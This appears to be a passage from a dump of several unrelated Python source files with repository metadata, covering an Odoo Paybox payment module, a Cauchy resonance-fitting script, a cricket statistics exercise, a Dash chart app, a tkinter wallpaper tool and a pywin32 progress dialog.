{'SHA512': hashlib.sha512}\n paiement_cgi = 'cgi/MYchoix_pagepaiement.cgi'\n\n _columns = {'paybox_site': fields.char(\"Site\", size=7),\n 'paybox_rank': fields.char(\"Rank\", size=3),\n 'paybox_shop_id': fields.char(\"Shop id\", size=9),\n 'paybox_key': fields.char(\"Key\", password=True),\n 'paybox_hash': fields.selection([('SHA512', 'sha512')], \"Hash\", select=True),\n 'paybox_url': fields.selection(URL, u\"URL Paybox\", select=True),\n 'paybox_return_url': fields.char(u\"URL publique du serveur Odoo\"),\n 'paybox_method': fields.selection([('POST', 'Post'), ('GET', 'Get')], u\"Méthode\",\n select=True),\n 'paybox_currency': fields.selection([('978', 'Euro'), ('840', 'US Dollar')], u\"Devise\",\n select=True),\n 'paybox_admin_mail': fields.char(u\"Email de l'administrateur Paybox\"),\n }\n\n _defaults = {\n 'key': '0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF',\n 'shop_id': '107904482',\n 'rank': '32',\n 'site': '1999888',\n 'hash': 'SHA512',\n 'url': 'https://preprod-tpeweb.paybox.com/',\n 'method': 'POST',\n 'devise': '978',\n }\n\n def _get_providers(self, cr, uid, context=None):\n providers = super(PayboxAcquirer, self)._get_providers(cr, uid, context=context)\n providers.append(['paybox', 'Paybox'])\n return providers\n\n def build_paybox_args(self, cr, uid, acquirer, tx_values, context=None):\n reference = tx_values['reference']\n amount = tx_values['amount']\n key = acquirer['paybox_key']\n identifiant, devise = acquirer['paybox_shop_id'], acquirer['paybox_currency']\n rang, site = acquirer['paybox_rank'], acquirer['paybox_site']\n _hash = acquirer['paybox_hash']\n porteur = tx_values['partner'].email\n url = acquirer['paybox_url']\n url += self.paiement_cgi\n url_retour = acquirer['paybox_return_url']\n\n if not url_retour:\n raise osv.except_osv(u\"Paiement impossible\", u\"URL de retour non configurée\")\n\n # the paybox amount need to be formated in cents and zero-padded to be at least 3 characters long\n amount = \"%03u\" % int(amount*100)\n retour = u\"Mt:M;Ref:R;Auto:A;Erreur:E;Signature:K\"\n url_effectue = urljoin(url_retour, '/payment/paybox/accept')\n url_annule = urljoin(url_retour, '/payment/paybox/cancel')\n url_refuse = urljoin(url_retour, '/payment/paybox/decline')\n url_ipn = urljoin(url_retour, '/payment/paybox/ipn')\n time = datetime.now().isoformat()\n # we need to concatenate the args to compute the hmac\n args = ('PBX_SITE=' + site + '&PBX_RANG=' + rang +\n '&PBX_HASH=' + _hash + '&PBX_CMD=' + reference +\n '&PBX_IDENTIFIANT=' + identifiant + '&PBX_TOTAL=' + amount +\n '&PBX_DEVISE=' + devise + '&PBX_PORTEUR=' + porteur +\n '&PBX_RETOUR=' + retour + '&PBX_TIME=' + time +\n '&PBX_EFFECTUE=' + url_effectue + '&PBX_REFUSE=' + url_refuse +\n '&PBX_ANNULE=' + url_annule +\n '&PBX_REPONDRE_A=' + url_ipn)\n hmac = self.compute_hmac(key, _hash, args)\n return dict(hmac=hmac, hash=_hash, porteur=porteur, url=url, identifiant=identifiant,\n rank=rang, site=site, url_ipn=url_ipn, refuse=url_refuse, time=time,\n devise=devise, retour=retour, annule=url_annule, amount=amount,\n effectue=url_effectue)\n\n def compute_hmac(self, key, hash_name, args):\n \"\"\" compute hmac with key, hash and args given \"\"\"\n try:\n binary_key = binascii.unhexlify(key)\n except:\n _logger.exception(\"Cannot decode key\")\n # We may just log this error and not raise exception\n raise osv.except_osv(u\"Calcul HMAC impossible\", u\"Vérifiez la valeur de la clé\")\n\n try:\n import hmac\n hmac_value = hmac.new(binary_key, args, self.HASH[hash_name]).hexdigest().upper()\n except:\n # We may just log this error and not raise exception\n _logger.exception(\"Calcul HMAC impossible\")\n raise osv.except_osv(u\"Calcul HMAC impossible\", u\"Une erreur s'est produite\")\n return hmac_value\n\n def paybox_form_generate_values(self, cr, uid, id, partner_values, tx_values, context=None):\n acquirer = self.browse(cr, uid, id, context=context)\n vals = self.build_paybox_args(\n cr, uid, acquirer, tx_values, context=context)\n\n tx_values.update(vals)\n return partner_values, tx_values\n\n def _wrap_payment_block(self, cr, uid, html_block, amount,\n currency_id, acquirer=None, context=None):\n \"\"\" override original method to add the paybox html block \"\"\"\n if not html_block:\n if acquirer and acquirer == 'Paybox':\n return ''\n else:\n link = '#action=account.action_account_config'\n payment_header = _(\"\"\" You can finish the configuration in the\nBank&Cash settings\"\"\") % link\n amount = _('No online payment acquirers configured')\n group_ids = self.pool.get('res.users').browse(\n cr, uid, uid, context=context).groups_id\n if any(group.is_portal for group in group_ids):\n return ''\n else:\n payment_header = _('Pay safely online')\n currency_obj = self.pool['res.currency']\n currency = currency_obj.browse(cr, uid, currency_id)\n currency_str = currency.symbol or currency.name\n if acquirer and acquirer == 'Paybox':\n amount_str = float_repr(\n amount,\n self.pool.get('decimal.precision').precision_get(cr, uid, 'Account'))\n amount = (u\"%s %s\" % ((currency_str, amount_str)\n if currency.position == 'before' else (amount_str, currency_str)))\n else:\n amount_str = float_repr(\n amount, self.pool.get('decimal.precision').precision_get(cr, uid, 'Account'))\n amount = (u\"%s %s\" % ((currency_str, amount_str)\n if currency.position == 'before' else (amount_str, currency_str)))\n\n result = \"\"\"
\n
\n
%s
\n %s\n
\n %%s\n
\"\"\" % (amount, payment_header)\n return result % html_block\n\n def _get_paybox_urls(self, cr, uid, acquirer, context=None):\n \"\"\" Paybox URLS \"\"\"\n url = acquirer['paybox_url']\n url += self.paiement_cgi\n\n return {\n 'paybox_form_url': url\n }\n\n def paybox_get_form_action_url(self, cr, uid, id, context=None):\n acquirer = self.browse(cr, uid, id, context=context)\n return self._get_paybox_urls(cr, uid, acquirer, context=context)['paybox_form_url']\n\nclass PaymentTxPaybox(osv.Model):\n _inherit = 'payment.transaction'\n\n sign = Signature()\n pubkey = 'http://www1.paybox.com/wp-content/uploads/2014/03/pubkey.pem'\n base_url = '#id=%s&view_type=form&model=account.invoice&menu_id=%s&action=%s'\n ERROR_SUCCESS = ['00000']\n ERROR_CODE = {\n '00001': u\"La connexion au centre d'autorisation a échoué ou une erreur interne est survenue\",\n '001': u\"Paiement refusé par le centre d'autorisation\", '00003': u\"Erreur Paybox\",\n '00004': u\"Numéro de porteur ou cryptogramme visuel invalide\",\n '00006': u\"Accès refusé ou site/rang/identifiant incorrect\",\n '00008': u\"Date de fin de validité incorrecte\", '00009': u\"Erreur de création d'un abonnement\",\n '00010': u\"Devise inconnue\", '00011': u\"Montant incorrect\", '00015': u\"Paiement déjà effectué\",\n '00016': u\"Abonné déjà existant\", '00021': u\"Carte non autorisée\",\n '00029': u\"Carte non conforme\",\n '00030': u\"Temps d'attente supérieur à 15 minutes par l'acheteur au niveau la page de paiement\",\n '00033': u\"Code pays de l'adresse IP du navigateur de l'acheteur non autorisé\",\n '00040': u\"Opération sans authentification 3-D Secure, bloquée par le filtre\",\n }\n AUTH_CODE = {\n '03': u\"Commerçant invalide\", '05': u\"Ne pas honorer\",\n '12': u\"Transaction invalide\", '13': u\"Montant invalide\",\n '14': u\"Numéro de porteur invalide\", '15': u\"Emetteur de carte inconnu\",\n '17': u\"Annulation client\", '19': u\"Répéter la transaction ultérieurement\",\n '20': u\"Réponse erronée (erreur dans le domaine serveur)\",\n '24': u\"Mise à jour de fichier non supportée\",\n '25': u\"Impossible de localiser l'enregistrement dans le fichier\",\n '26': u\"Enregistrement dupliqué, ancien enregistrement remplacé\",\n '27': u\"Erreur en \\\"edit\\\" sur champ de mise à jour fichier\",\n '28': u\"Accès interdit au fichier\", '29': u\"Mise à jour de fichier impossible\",\n '30': u\"Erreur de format\", '33': u\"Carte expirée\",\n '38': u\"Nombre d'essais code confidentiel dépassé\",\n '41': u\"Carte perdue\", '43': u\"Carte volée\", '51': u\"Provision insuffisante ou crédit dépassé\",\n '54': u\"Date de validité de la carte dépassée\", '55': u\"Code confidentiel erroné\",\n '56': u\"Carte absente du fichier\", '57': u\"Transaction non permise à ce porteur\",\n '58': u\"Transaction interdite au terminal\", '59': u\"Suspicion de fraude\",\n '60': u\"L'accepteur de carte doit contacter l'acquéreur\",\n '61': u\"Dépasse la limite du montant de retrait\",\n '63': u\"Règles de sécurité non respectées\",\n '68': u\"Réponse non parvenue ou reçue trop tard\",\n '75': u\"Nombre d'essais code confidentiel dépassé\",\n '76': u\"Porteur déjà en opposition, ancien enregistrement conservé\",\n '89': u\"Echec de l'authentification\", '90': u\"Arrêt momentané du système\",\n '91': u\"Emetteur de carte inaccessible\", '94': u\"Demande dupliquée\",\n '96': u\"Mauvais fonctionnement du système\",\n '97': u\"Echéance de la temporisation de surveillance globale\",\n }\n\n def build_args(self, args):\n if 'Auto' not in args:\n msg = 'Mt='+args['Mt']+'&Ref='+urllib.quote_plus(args['Ref'])\n else:\n msg = 'Mt='+args['Mt']+'&Ref='+urllib.quote_plus(args['Ref'])+'&Auto='+args['Auto']\n msg += '&Erreur='+args['Erreur']+'&Signature='+args['Signature']\n return msg\n\n def check_error_code(self, erreur):\n \"\"\" check if the error code is a real error or not.\n it also build the message that will be display to the customer \"\"\"\n if erreur in self.ERROR_CODE:\n error_msg = self.ERROR_CODE[erreur]\n return error_msg\n else:\n for err in self.ERROR_CODE:\n if erreur.startswith(err):\n error_msg = self.AUTH_CODE[erreur[-2:]]\n return error_msg\n return False\n\n def _paybox_form_get_tx_from_data(self, cr, uid, data, context=None):\n for field in ('Erreur', 'Auto', 'Signature', 'Mt', 'Ref'):\n if field not in data:\n raise ValidationError(u\"Paramètre %s non trouvé\" % repr(field))\n\n ref = data['Ref']\n tx_ids = self.search(cr, uid, [('reference', '=', ref)], context=context)\n error_msg = 'Paybox: received data for reference %s' % ref\n\n if not tx_ids:\n error_msg += '; no transaction found'\n raise ValidationError(error_msg)\n\n if len(tx_ids) > 1:\n error_msg += '; multiple transactions found'\n raise ValidationError(error_msg)\n\n tx = self.pool['payment.transaction'].browse(cr, uid, tx_ids[0], context=context)\n key = urllib.urlopen(self.pubkey).read()\n signature = data['Signature']\n\n msg = self.build_args(data)\n if not self.sign.verify(signature, msg, key):\n raise ValidationError(u\"Signature non vérifiée\")\n\n return tx\n\n def _paybox_form_get_invalid_parameters(self, cr, uid, tx, data, context=None):\n invalid_parameters = []\n\n # TODO: txn_id: should be false at draft, set afterwards, and verified with txn details\n if tx.acquirer_reference and data.get('Ref') != tx.acquirer_reference:\n invalid_parameters.append(('Ref', data.get('Ref'), tx.acquirer_reference))\n\n actualAmount = float(data['Mt'])/100\n if float_compare(actualAmount, tx.amount, 2) != 0:\n invalid_parameters.append(('Mt', actualAmount, '%.2f' % tx.amount))\n\n return invalid_parameters\n\n def _paybox_form_validate(self, cr, uid, tx, data, context=None):\n if tx.state == 'done':\n _logger.warning('Paybox: trying to validate an already validated tx (ref %s)' % tx.reference)\n return True\n\n ref = data['Ref']\n montant = data['Mt']\n\n error_code = data['Erreur']\n error_msg = self.check_error_code(error_code)\n\n if error_msg:\n error = u'Erreur Paybox [%s] %s' % (error_code, error_msg)\n _logger.info(error)\n tx.write({\n 'state': 'error',\n 'state_message': error,\n 'acquirer_reference': ref,\n })\n return False\n\n if ref and montant and error_code in self.ERROR_SUCCESS:\n tx.write({\n 'state': 'done',\n #'date_validate': data['TRXDATE'],\n 'acquirer_reference': ref\n })\n return True\n\n tx.write({\n 'state': 'error',\n 'state_message': \"Erreur Paybox inconnue\",\n 'acquirer_reference': ref,\n })\n return False\n","repo_name":"jbq/payment_paybox","sub_path":"paybox.py","file_name":"paybox.py","file_ext":"py","file_size_in_byte":15094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20939101579","text":"# University of Virginia, Department of Physics\n# Eric Magnuson, edm5gb@virginia.edu\n\n# 2018-10-06\n\n\nimport os\nimport numpy as np\nfrom scipy.stats import cauchy\nfrom scipy.optimize import curve_fit\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n\ndef cauchy_model(x, a, loc, scale, y0):\n return a*cauchy.pdf(x, loc, scale) + y0\n\n\ndef cauchy_fit(x, y, d):\n if d is -1:\n a0 = -(max(y) - min(y))*(max(x) - min(x))/10\n loc0 = x[np.argmin(y)]\n scale0 = (max(x) - min(x))/10\n y00 = max(y)\n elif d is 1:\n a0 = (max(y) - min(y))*(max(x) - min(x))/10\n loc0 = x[np.argmax(y)]\n scale0 = (max(x) - min(x))/10\n y00 = min(y)\n else:\n a0 = 1\n loc0 = np.mean(x)\n scale0 = (max(x) - min(x))/10\n y00 = 1\n p0 = [a0, loc0, scale0, y00]\n print(p0)\n popt, pcov = curve_fit(cauchy_model, x, y, p0)\n print(\"Center Frequency is : \", popt[1]*1e-6, \" MHz\")\n print(\"FWHM is : \", 2*popt[2]*1e-6, \" MHz\")\n print(\"Q is : \", popt[1]/(2*popt[2]))\n return popt\n\n\ndef mw_fscan(fname, d, ax, plotting=True):\n data = pd.read_csv(fname, sep=\"\\t\", comment=\"#\", index_col=False,\n header=None, names=['f', 'b', 's', 'r'])\n data.sort_values(by='f', inplace=True)\n data['sig'] = data['s'] - data['b']\n data['ref'] = data['r'] - data['b']\n data['nrm'] = data['sig'] / data['ref'] # norm by signal / reference\n data['nrm'] = data['nrm']\n popt = cauchy_fit(data['f'].values, data['nrm'].values, d)\n # print(popt)\n if plotting is True:\n data.plot(x='f', y='nrm', ax=ax)\n ax.plot(data['f'].values, cauchy_model(data['f'].values, *popt))\n ax.plot(data['f'].values,\n data['nrm'].values - cauchy_model(data['f'].values, *popt))\n ax.axhline(0.9, c='k')\n ax.axhline(0.5, c='k')\n return data, popt\n\n\t\ndef cavity_resonances(date):\n \"\"\"Using the dye laser at -180 GHz, the MW f is scanned over the\n cavity resonances, finding center, FWHM, and Q values.\"\"\"\n fig, axes = plt.subplots()\n fname = \"1_fscan.txt\"\n fname = os.path.join(\"..\", date, fname)\n data, popt = mw_fscan(fname, -1, axes)\n fig.tight_layout()\n return\n\n\t\nif __name__ == \"__main__\":\n\tdate = \"2018-10-06\"\n\tcavity_resonances(date)\n\tplt.show()","repo_name":"edmagnu/PhaseMod","sub_path":"2018-10-06.py","file_name":"2018-10-06.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30908550767","text":"\r\n\r\n\r\n\r\n# from calculator import square\r\n\r\n\r\n# from statistics import variance\r\n\r\n\r\nfrom cProfile import label\r\nfrom itertools import count\r\nfrom matplotlib import markers\r\nfrom numpy import count_nonzero\r\nimport matplotlib.pyplot as plt \r\n\r\n# import matplotlib.pyplot as sample\r\n\r\n\r\nrahul = [10,0,100,20,20,9,7]\r\najay = [40,30,40,30,40,30,4]\r\n\r\n\r\n\r\nmean_rahul = sum(rahul)/len(rahul)\r\nmean_ajay = sum(ajay)/len(ajay)\r\n\r\nprint(\"mean of rahul is\",round(mean_rahul))\r\nprint(\"mean of ajay is \",round(mean_ajay))\r\n\r\nif len(rahul)%2 != 0:\r\n rahul.sort()\r\n \r\n d =round(len(rahul)/2 -0.5)\r\n \r\n m1 = rahul[d]\r\n print(\"madium of rahul is \",m1)\r\n\r\nif len(rahul)%2 == 0:\r\n rahul.sort()\r\n \r\n d = round(len(rahul)/2) \r\n r = d - 1\r\n \r\n m1 = rahul[d]\r\n m2 = rahul[r]\r\n sum = m1 + m2 \r\n div = sum / 2\r\n print(\"madium of rahul is \",div)\r\n \r\n \r\nif len(ajay)%2 != 0:\r\n ajay.sort()\r\n \r\n d =round(len(ajay)/2 -0.5)\r\n \r\n m1 = ajay[d]\r\n print(\"madium of ajay is \",m1)\r\n\r\nif len(ajay)%2 == 0:\r\n ajay.sort()\r\n \r\n d = round(len(ajay)/2) \r\n r = d +1\r\n m1 = ajay[d]\r\n m2 = ajay[r]\r\n sum = m1 + m2 \r\n div = sum / 2 \r\n print(\"madium of ajay is \",div)\r\n \r\n \r\n\"----------------------variance-------------------------------------\"\r\n\r\nstardard_deviation_rahul = []\r\n\r\nfor i in rahul:\r\n deviation = mean_rahul - i\r\n stardard_deviation_rahul.append(round(deviation))\r\n \r\n# print(stardard_deviation)\r\n\r\nsquared_list_rahul = []\r\n\r\nfor i in stardard_deviation_rahul:\r\n squ = i**2\r\n squared_list_rahul.append(squ)\r\n \r\n \r\n# print(squared_list)\r\n\r\nlist_sum = sum(squared_list_rahul) \r\n\r\n# print(list_sum)\r\n\r\nnumber = len(squared_list_rahul) - 1\r\nvariance_rahul = list_sum / number\r\n\r\nprint(\"variance of rahul is \",round(variance_rahul)) \r\n \r\n\r\n\"-------------------------------------------------------------------------------------------------------------------------------------\"\r\n\r\n\r\nstardard_deviation_ajay = []\r\n\r\nfor i in ajay:\r\n deviation_a = mean_ajay - i\r\n stardard_deviation_ajay.append(round(deviation_a))\r\n \r\n# print(stardard_deviation)\r\n\r\nsquared_list_ajay = []\r\n\r\nfor i in stardard_deviation_ajay:\r\n squ_a = i**2\r\n squared_list_ajay.append(squ_a)\r\n \r\n \r\n# print(squared_list)\r\n\r\nlist_sum_a = sum(squared_list_ajay) \r\n\r\n# print(list_sum)\r\n\r\nnumber_a = len(squared_list_ajay) - 1\r\nvariance_ajay = list_sum_a / number_a\r\n\r\nprint(\"variance of ajay is \",round(variance_ajay))\r\nprint(\"stardard_deviation of rahul\",squared_list_rahul)\r\nprint(\"stardard_deviation of ajay\", squared_list_ajay) \r\n \r\n\r\ncount_rahul = []\r\nlist_r = []\r\nl2 = []\r\nn1 = 0\r\n\r\n\r\n\r\nfor i in rahul:\r\n \r\n z= rahul.count(i)\r\n count_rahul.append(z)\r\n list_r.append(z)\r\n list_r.append(i)\r\n \r\nv_r= max(count_rahul)\r\n\r\nif v_r == 1:\r\n print(\"rahul has no mode\")\r\n \r\n \r\nif v_r > 1:\r\n\r\n for j in list_r:\r\n if j == v_r:\r\n id_r = list_r.index(j,n1)\r\n n1 = id_r +1\r\n l2.append(list_r[id_r + 1])\r\n \r\n\r\n \r\n print(\"mode of rahul is\",list(set(l2)))\r\n\r\n\r\n\"------------------------------------------------------------------------------------------------------------------------\"\r\n\r\n\r\ncount_ajay = []\r\nlist_a = []\r\nl1 = []\r\nn = 0\r\n\r\n\r\n\r\nfor i in ajay:\r\n \r\n z= ajay.count(i)\r\n count_ajay.append(z)\r\n list_a.append(z)\r\n list_a.append(i)\r\n \r\nv = max(count_ajay)\r\n\r\nif v == 1:\r\n print(\"ajay has no mode\")\r\n \r\n \r\nif v > 1:\r\n\r\n for j in list_a:\r\n if j == v:\r\n id = list_a.index(j,n)\r\n n = id +1\r\n l1.append(list_a[id + 1])\r\n \r\n\r\n \r\n print(\"mode of ajay is\",list(set(l1)))\r\n \r\n \r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\nif v > 1:\r\n f=count_ajay.index(v)\r\n h = ajay[f]\r\n print(\"mode of ajay is \",h)\r\n \r\nrahulx = [10,0,100,20,50]\r\najayy = [40,30,40,30,40] \r\nz = [1,2,3,4,5]\r\nplt.xlabel(\"no of matches\")\r\nplt.ylabel(\"runs scored by rahul and ajay\")\r\nplt.title(\"selection of batsman\")\r\n\r\nplt.plot(z,rahulx,label = \"rahul\",marker = \"o\",markerfacecolor = \"red\")\r\nplt.plot(z,ajayy,label = \"ajay\",marker =\"o\",markerfacecolor = \"black\")\r\n\r\nplt.legend()\r\nplt.show() \r\n \r\n \r\n \r\n \r\n \r\n\r\n\r\n\r\n \r\n ","repo_name":"mariswarycharan/selection-of-batsman","sub_path":"batsman_selection.py","file_name":"batsman_selection.py","file_ext":"py","file_size_in_byte":4343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8327797781","text":"import pandas as pd\nimport dash\nimport dash_html_components as html\nimport dash_core_components as dcc\nimport plotly.graph_objects as go\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\napp = dash.Dash(__name__)\ncolors = ['red', 'green', 'blue', 'black']\ndf = pd.read_csv('superstore.csv', parse_dates=['Order Date', 'Ship Date'])\nregion_grouped = df.groupby(['Region'], as_index=False).sum()\n\napp.layout = html.Div(children=[\n html.H1(children=\"Profit by Region\", style={\"textAlign\": \"center\"}),\n dcc.Graph(\n id='regional-profit-plot',\n figure={\n 'data': [\n go.Bar(\n name='Regional Profit',\n marker_color=colors,\n x=region_grouped['Region'],\n y=region_grouped['Profit']\n )],\n }\n )\n])\n\napp.run_server(debug=False)","repo_name":"dfbustosus/Bootcamp-DS-2023-I","sub_path":"Clase 15 y 16 - 19 y 24 Abr 2023/app_1.py","file_name":"app_1.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"62"} +{"seq_id":"27673416976","text":"import tkinter as tk\nfrom tkinter import filedialog\nfrom construct_wall import *\nfrom PIL import Image, ImageTk\n\n\nclass WallGui(tk.Tk):\n def __init__(self):\n super().__init__()\n self.state(\"zoomed\")\n self.title(\"WallPy\")\n self.geometry(\"1600x900\")\n\n canv_size = (1280, 720)\n spacing = 4\n\n self.canv = tk.Canvas(self, width=canv_size[0], height=canv_size[1])\n self.confirm_button = tk.Button(self, text=\"Confirm\", command=self.apply_wallpaper)\n self.create_gui()\n\n monitors = get_monitors()\n self.desktop = Desktop(monitors)\n\n bounds = self.desktop.get_bounds()\n height = get_size(bounds)\n scale = canv_size[0] / height[0], canv_size[1] / height[1]\n scale = [min(scale)] * 2\n\n self.init_canvas(scale, spacing)\n\n def init_canvas(self, scale, spacing):\n for ii in range(self.desktop.count):\n monitor = self.desktop.monitors[ii]\n rect = monitor.get_rect()\n # print(\"Rect: %s\" % str(rect))\n canv_rect = self.monitor_to_canvas(self.desktop.get_bounds(), rect, scale, spacing)\n # print(\"Canv rect: %s\" % str(canv_rect))\n rectangle = self.canv.create_rectangle(*canv_rect, width=spacing, tags=ii)\n monitor.canvas_id = rectangle\n monitor.canvas_rect = canv_rect\n self.canv.bind('', self.on_canvas_click)\n\n def monitor_to_canvas(self, bounds, rect, scale, spacing):\n canv_rect = (rect[0] - bounds[0]) * scale[0] + spacing, (rect[1] - bounds[1]) * scale[1] + spacing, \\\n (rect[2] - bounds[0]) * scale[0] - spacing, (rect[3] - bounds[1]) * scale[1] - spacing\n return canv_rect\n\n def create_gui(self):\n # canv.pack(fill=\"both\", expand=True, anchor=tk.CENTER)\n self.canv.place(relx=0.5, rely=0.5, anchor=tk.CENTER)\n self.confirm_button.pack()\n\n def on_canvas_click(self, event):\n # print(\"Got object click at\", event.x, event.y)\n item = self.canv.find_closest(event.x, event.y)[0]\n index = int(self.canv.gettags(item)[0])\n monitor = self.desktop.monitors[index]\n\n # Return if event is not inside the canvas rectangle\n if not ((monitor.canvas_rect[0] < event.x < monitor.canvas_rect[2]) and\n (monitor.canvas_rect[1] < event.y < monitor.canvas_rect[3])):\n return\n\n which = filedialog.askopenfilename()\n\n # Return if no path is given\n if not which:\n return\n\n im = Image.open(which, \"r\")\n monitor.set_image(im.copy())\n width, height = [int(x) for x in get_size(monitor.canvas_rect)]\n im = monitor.generate_fit_image().resize((width, height))\n\n monitor._canvas_im = ImageTk.PhotoImage(im)\n self.canv.create_image(monitor.canvas_rect[:2], image=monitor._canvas_im, tags=index, anchor=tk.NW)\n self.canv.tag_raise(monitor.canvas_id)\n print(\"Wallpaper %s bind to rect %s\" % (which, monitor.get_rect()))\n\n def apply_wallpaper(self):\n wallpaper = self.desktop.get_wallpaper()\n set_wallpaper(wallpaper)\n\n\nif __name__ == \"__main__\":\n app = WallGui()\n app.mainloop()\n","repo_name":"maciekniewielki/MultiWallpaper","sub_path":"src/wallpaper_gui.py","file_name":"wallpaper_gui.py","file_ext":"py","file_size_in_byte":3220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33417928029","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nМодуль диалоговых функций для работы в прогресс баром,\nзапускающимся в отдельном потоке.\n\"\"\"\n\n# --- Подключение пакетов ---\nfrom pywin.mfc import dialog, thread\nimport threading\nimport win32ui\nimport win32con\nimport win32api\nimport time\n\n\n# --- Функции и классы PYWIN32 ---\ndef MakeProgressDlgTemplate(caption, staticText = ''):\n style = (win32con.DS_MODALFRAME |\n win32con.WS_POPUP |\n win32con.WS_VISIBLE |\n win32con.WS_CAPTION |\n win32con.WS_SYSMENU |\n win32con.DS_SETFONT)\n cs = (win32con.WS_CHILD | win32con.WS_VISIBLE)\n\n w = 215\n h = 36 # With button\n h = 40\n\n dlg = [[caption,\n (0, 0, w, h),\n style,\n None,\n (8, 'MS Sans Serif')],\n ]\n\n s = win32con.WS_TABSTOP | cs\n \n dlg.append([130, staticText, 1000, (7, 7, w-7, h-32), cs | win32con.SS_LEFT])\n\n return dlg\n\n\ndef MakeProgressDlgTemplate2(caption, staticText = ''):\n \"\"\"\n \"\"\"\n style = (win32con.DS_MODALFRAME |\n win32con.WS_POPUP |\n win32con.DS_CENTER |\n win32con.WS_VISIBLE |\n win32con.WS_CAPTION |\n win32con.WS_SYSMENU |\n win32con.DS_SETFONT)\n cs = (win32con.WS_CHILD | win32con.WS_VISIBLE)\n\n w = 215\n h = 36 # With button\n h = 40\n\n dlg = [[caption,\n (0, 0, w, h),\n style,\n None,\n (8, 'MS Sans Serif')],\n ]\n\n s = win32con.WS_TABSTOP | cs\n dlg.append([130, staticText, 1000, (7, 7, w-7, h-32), cs | win32con.SS_LEFT])\n return dlg\n\n\nclass CStatusProgressDialog(dialog.Dialog):\n\n def __init__(self, title, msg='', maxticks=100, tickincr=1):\n self.initMsg = msg\n templ = MakeProgressDlgTemplate2(title, msg)\n dialog.Dialog.__init__(self, templ)\n self.maxticks = maxticks\n self.tickincr = tickincr\n self.pbar = None\n \n def OnInitDialog(self):\n rc = dialog.Dialog.OnInitDialog(self)\n self.static = self.GetDlgItem(1000)\n self.pbar = win32ui.CreateProgressCtrl()\n self.pbar.CreateWindow(win32con.WS_CHILD |\n win32con.WS_VISIBLE,\n (10, 30, 310, 44),\n self, 1001)\n self.pbar.SetRange(0, self.maxticks)\n self.pbar.SetStep(self.tickincr)\n self.progress = 0\n self.pincr = 5\n return rc\n \n def Close(self):\n self.EndDialog(0)\n\n def SetMaxTicks(self, maxticks):\n if self.pbar is not None:\n self.pbar.SetRange(0, maxticks)\n\n def Tick(self):\n if self.pbar is not None:\n self.pbar.StepIt()\n\n def SetTitle(self, text):\n self.SetWindowText(text)\n\n def SetText(self, text):\n self.SetDlgItemText(1000, text)\n\n def Set(self, pos, max=None):\n if self.pbar is not None:\n self.pbar.SetPos(pos)\n if max is not None:\n self.pbar.SetRange(0, max)\n\n# a progress dialog created in a new thread - especially suitable for\n# console apps with no message loop.\nMYWM_SETTITLE = win32con.WM_USER+10\nMYWM_SETMSG = win32con.WM_USER+11\nMYWM_TICK = win32con.WM_USER+12\nMYWM_SETMAXTICKS = win32con.WM_USER+13\nMYWM_SET = win32con.WM_USER+14\n\n\nclass CThreadedStatusProcessDialog(CStatusProgressDialog):\n\n def __init__(self, title, msg='', maxticks=100, tickincr=1):\n self.title = title\n self.msg = msg\n self.threadid = win32api.GetCurrentThreadId()\n CStatusProgressDialog.__init__(self, title, msg, maxticks, tickincr)\n\n def OnInitDialog(self):\n rc = CStatusProgressDialog.OnInitDialog(self)\n self.HookMessage(self.OnTitle, MYWM_SETTITLE)\n self.HookMessage(self.OnMsg, MYWM_SETMSG)\n self.HookMessage(self.OnTick, MYWM_TICK)\n self.HookMessage(self.OnMaxTicks, MYWM_SETMAXTICKS)\n self.HookMessage(self.OnSet, MYWM_SET)\n return rc\n\n def _Send(self, msg):\n try:\n self.PostMessage(msg)\n except win32ui.error:\n # the user closed the window - but this does not cancel the\n # process - so just ignore it.\n pass\n\n def OnTitle(self, msg):\n CStatusProgressDialog.SetTitle(self, self.title)\n\n def OnMsg(self, msg):\n CStatusProgressDialog.SetText(self, self.msg)\n\n def OnTick(self, msg):\n CStatusProgressDialog.Tick(self)\n\n def OnMaxTicks(self, msg):\n CStatusProgressDialog.SetMaxTicks(self, self.maxticks)\n\n def OnSet(self, msg):\n CStatusProgressDialog.Set(self, self.pos, self.max)\n\n def Close(self):\n assert self.threadid, 'No thread!'\n win32api.PostThreadMessage(self.threadid, win32con.WM_QUIT, 0, 0)\n\n def SetMaxTicks(self, maxticks):\n self.maxticks = maxticks\n self._Send(MYWM_SETMAXTICKS)\n\n def SetTitle(self, title):\n self.title = title\n self._Send(MYWM_SETTITLE)\n\n def SetText(self, text):\n self.msg = text\n self._Send(MYWM_SETMSG)\n\n def Tick(self):\n self._Send(MYWM_TICK)\n\n def Set(self, pos, max=None):\n self.pos = pos\n self.max = max\n self._Send(MYWM_SET)\n\n\nclass ProgressThread(thread.WinThread):\n\n def __init__(self, title, msg='', maxticks=100, tickincr=1):\n self.title = title\n self.msg = msg\n self.maxticks = maxticks\n self.tickincr = tickincr\n self.dialog = None\n thread.WinThread.__init__(self)\n self.createdEvent = threading.Event()\n\n def InitInstance(self):\n self.dialog = CThreadedStatusProcessDialog(self.title, self.msg, self.maxticks, self.tickincr)\n self.dialog.CreateWindow()\n try:\n self.dialog.SetForegroundWindow()\n except win32ui.error:\n pass\n self.createdEvent.set()\n return thread.WinThread.InitInstance(self)\n\n def ExitInstance(self):\n return 0\n\n\ndef StatusProgressDialog(title, msg='', maxticks=100, parent=None):\n d = CStatusProgressDialog (title, msg, maxticks)\n d.CreateWindow (parent)\n return d\n\n\ndef ThreadedStatusProgressDialog(title, msg='', maxticks=100):\n t = ProgressThread(title, msg, maxticks)\n t.CreateThread()\n # Need to run a basic 'PumpWaitingMessages' loop just incase we are\n 